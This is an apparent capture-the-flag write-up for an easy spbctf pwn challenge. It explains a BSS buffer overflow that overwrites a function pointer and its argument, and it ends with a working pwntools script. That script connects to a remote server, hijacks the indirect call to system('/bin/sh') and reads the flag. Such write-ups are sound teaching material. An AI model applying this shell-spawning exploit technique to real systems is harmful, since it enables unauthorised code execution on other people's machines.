fptr Reborn
fptr Reborn
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-18 | Status: Solved Techniques: bss_buffer_overflow, function_pointer_overwrite, ret2win_via_helper
Summary
Task: No-PIE x86_64 binary reads 64 bytes into an 8-byte BSS buffer immediately followed by a function pointer and its argument, then performs an indirect call. Solution: craft a 24-byte payload that places '/bin/sh' in buf, overwrites function_pointer with the provided my_system helper (system(rdi)), and sets function_arg to the address of '/bin/sh', spawning a shell.
fptr Reborn — spbctf
Description
Найдите указатель на функцию и перетрите его
English summary: a No-PIE x86_64 ELF keeps a char buffer, a function pointer and its argument as consecutive BSS globals. main reads 64 bytes into the 8-byte buffer and then indirectly calls function_pointer(function_arg). The task is to hijack control flow by overwriting the function pointer.
Analysis
Binary properties:
- ELF 64-bit, No PIE (base
0x400000), NX enabled, Partial RELRO - No stack canary, not stripped (debug symbols present)
Key symbols:
| Symbol | Address | Purpose |
|---|---|---|
main | 0x40119d | entry logic |
my_system(char*) | 0x401162 | wrapper → system(rdi) |
no_win(char*) | 0x40117d | prints Nope: %s |
buf | 0x404090 | 8-byte BSS buffer |
function_pointer | 0x404098 | called indirectly |
function_arg | 0x4040a0 | first argument passed to it |
Main pseudocode:
c read-only • copy allowedfunction_pointer = no_win; printf("Before read: %p %p\n", function_pointer, function_arg); read(0, buf, 0x40); // 64 bytes into 8-byte buf -> overflow printf("After read: %p %p\n", function_pointer, function_arg); function_pointer(function_arg); // indirect call — our hijack target
BSS layout is contiguous:
0x404090: buf[8] bytes [ 0: 8] of payload
0x404098: function_pointer bytes [ 8:16] of payload
0x4040a0: function_arg bytes [16:24] of payload
So the 64-byte read trivially overwrites both function_pointer and function_arg. Because the challenge author helpfully left a my_system function that calls system(rdi), this is a straight ret2win-style hijack: no ROP, no libc leaks needed.
Solution
Craft a 24-byte payload:
- Bytes
[0:8]— literal"/bin/sh\x00"landing exactly atbuf = 0x404090. - Bytes
[8:16]— little-endian0x401162→ overwritesfunction_pointerwithmy_system. - Bytes
[16:24]— little-endian0x404090→ overwritesfunction_argwith a pointer to our/bin/shstring.
When main executes function_pointer(function_arg) it becomes my_system("/bin/sh") → system("/bin/sh") → interactive shell.
python read-only • copy allowed#!/usr/bin/env python3 """spbctf — fptr Reborn: BSS overflow → function pointer hijack → system('/bin/sh').""" from pwn import * import struct BUF = 0x404090 # char buf[8] FPTR = 0x404098 # function_pointer (buf + 8) FARG = 0x4040a0 # function_arg (buf + 16) MY_SYSTEM = 0x401162 # my_system -> system(rdi) payload = b'/bin/sh\x00' # lands at BUF payload += struct.pack('<Q', MY_SYSTEM) # overwrites function_pointer payload += struct.pack('<Q', BUF) # overwrites function_arg (→ "/bin/sh") io = remote('109.233.56.90', 11602) io.send(payload) io.sendline(b'cat flag') print(io.recvall(timeout=3).decode(errors='replace'))
Server confirms the overwrite:
Before read: 0x40117d (nil)
After read: 0x401162 0x404090
Then cat flag yields the flag.